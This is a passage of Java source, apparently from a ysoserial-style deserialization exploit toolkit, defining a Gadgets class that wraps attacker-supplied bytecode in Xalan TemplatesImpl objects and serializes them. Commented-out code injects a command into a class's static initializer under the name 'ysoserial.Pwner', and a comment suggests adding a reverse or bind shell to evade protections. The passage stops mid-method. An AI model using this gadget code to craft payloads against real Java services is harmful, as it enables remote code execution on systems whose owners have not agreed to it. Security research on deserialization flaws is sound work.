| 13 | import java.util.HashMap; |
| 14 | |
| 15 | public class Gadgets { |
| 16 | public static Object createTemplatesImpl(final byte[] command, final String classname) throws Exception { |
| 17 | if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { |
| 18 | return createTemplatesImpl( |
| 19 | command, |
| 20 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), |
| 21 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), |
| 22 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), |
| 23 | classname); |
| 24 | } |
| 25 | |
| 26 | return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, classname); |
| 27 | } |
| 28 | |
| 29 | public static Object createTemplatesImpl(final byte[] command) throws Exception { |
| 30 | if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { |
| 31 | return createTemplatesImpl( |
| 32 | command, |
| 33 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), |
| 34 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), |
| 35 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); |
| 36 | } |
| 37 | |
| 38 | return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); |
| 39 | } |
| 40 | |
| 41 | |
| 42 | public static byte[] SerializeObject(Object o) { //序列化对象 |
| 43 | try { |
| 44 | ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); |
| 45 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); |
| 46 | objectOutputStream.writeObject(o); |
| 47 | return outputStream.toByteArray(); |
| 48 | } catch (Exception e) { |
| 49 | e.printStackTrace(); |
| 50 | } |
| 51 | return new byte[0]; |
| 52 | } |
| 53 | |
| 54 | public static <T> T createTemplatesImpl(final byte[] classBytes, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory,final String classname) |
| 55 | throws Exception { |
| 56 | final T templates = tplClass.newInstance(); |
| 57 | |
| 58 | // use template gadget class |
| 59 | /*ClassPool pool = ClassPool.getDefault(); |
| 60 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); |
| 61 | pool.insertClassPath(new ClassClassPath(abstTranslet)); |
| 62 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); |
| 63 | // run command in static initializer |
| 64 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections |
| 65 | clazz.makeClassInitializer().insertAfter(command); |
| 66 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) |
| 67 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); |
| 68 | CtClass superC = pool.get(abstTranslet.getName()); |
| 69 | clazz.setSuperclass(superC);*/ |
| 70 | |
| 71 | //final byte[] classBytes = clazz.toBytecode(); |
| 72 |
nothing calls this directly
no outgoing calls
no test coverage detected